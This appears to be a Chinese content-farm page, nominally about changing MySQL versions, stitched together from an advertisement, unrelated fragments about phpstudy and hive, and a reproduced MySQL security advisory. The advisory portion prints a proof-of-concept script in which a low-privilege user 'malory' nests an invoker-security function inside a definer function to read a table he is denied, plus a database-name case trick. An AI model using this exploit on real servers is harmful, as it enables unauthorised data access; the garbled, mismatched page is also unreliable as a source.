新聞中心
如何修改mysql server版本號(hào)避開漏洞
1、創(chuàng)建數(shù)據(jù)庫(kù)
創(chuàng)新互聯(lián)公司專注為客戶提供全方位的互聯(lián)網(wǎng)綜合服務(wù),包含不限于成都做網(wǎng)站、網(wǎng)站建設(shè)、瑤海網(wǎng)絡(luò)推廣、微信小程序定制開發(fā)、瑤海網(wǎng)絡(luò)營(yíng)銷、瑤海企業(yè)策劃、瑤海品牌公關(guān)、搜索引擎seo、人物專訪、企業(yè)宣傳片、企業(yè)代運(yùn)營(yíng)等,從售前售中售后,我們都將竭誠(chéng)為您服務(wù),您的肯定,是我們最大的嘉獎(jiǎng);創(chuàng)新互聯(lián)公司為所有大學(xué)生創(chuàng)業(yè)者提供瑤海建站搭建服務(wù),24小時(shí)服務(wù)熱線:18982081108,官方網(wǎng)址:www.cdcxhl.com
$ mysql -h my.mysql.server -u sample -p -A sample
Enter password:
Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 263935 to server version: 4.1.16-standard
mysql create database another;
ERROR 1044: Access denied for user 'sample'@'%' to database 'another'
mysql create database sAmple;
Query OK, 1 row affected (0.00 sec)
2、權(quán)限提升
--disable_warnings
drop database if exists mysqltest1;
drop database if exists mysqltest2;
drop function if exists f_suid;
--enable_warnings
# Prepare playground
create database mysqltest1;
create database mysqltest2;
create user malory@localhost;
grant all privileges on mysqltest1.* to malory@localhost;
# Create harmless (but SUID!) function
create function f_suid(i int) returns int return 0;
grant execute on function test.f_suid to malory@localhost;
use mysqltest2;
# Create table in which malory@localhost will be interested but to which
# he won't have any access
create table t1 (i int);
connect (malcon, localhost, malory,,mysqltest1);
# Correct malory@localhost don't have access to mysqltest2.t1
--error ER_TABLEACCESS_DENIED_ERROR
select * from mysqltest2.t1;
# Create function which will allow to exploit security hole
delimiter |;
create function f_evil ()
returns int
sql security invoker
begin
set @a:= current_user();
set @b:= (select count(*) from mysqltest2.t1);
return 0;
end|
delimiter ;|
# Again correct
--error ER_TABLEACCESS_DENIED_ERROR
select f_evil();
select @a, @b;
# Oops!!! it seems that f_evil() is executed in the context of
# f_suid() definer, so malory@locahost gets all info that he wants
select test.f_suid(f_evil());
select @a, @b;
connection default;
drop user malory@localhost;
drop database mysqltest1;
drop database mysqltest2;
建議:
廠商補(bǔ)?。篗ySQL AB
目前廠商已經(jīng)發(fā)布了升級(jí)補(bǔ)丁以修復(fù)這個(gè)安全問題,請(qǐng)到廠商的主頁下載。
phpstudy怎么修改mysql版本
1.首先查看phpstudy中mysql的路徑:比如:E:\phpStudy\MySQL\bin
2.然后打開dos窗口,將目錄切換至mysql,bin目錄下:
3.輸入mysql命令,進(jìn)行連接:mysql -h localhost -u root -p 回車;輸入密碼再次回車。mysql連接成功!
mysql修改版本
我們知道,mysql的不同版本,有可能會(huì)存在著一些差異,比如:
hive中支持的數(shù)據(jù)轉(zhuǎn)換:
linux一次導(dǎo)入多個(gè)sql文件
當(dāng)前名稱:MySQL怎么修改版本 修改mysql數(shù)據(jù)庫(kù)
文章分享:http://www.dlmjj.cn/article/dohooho.html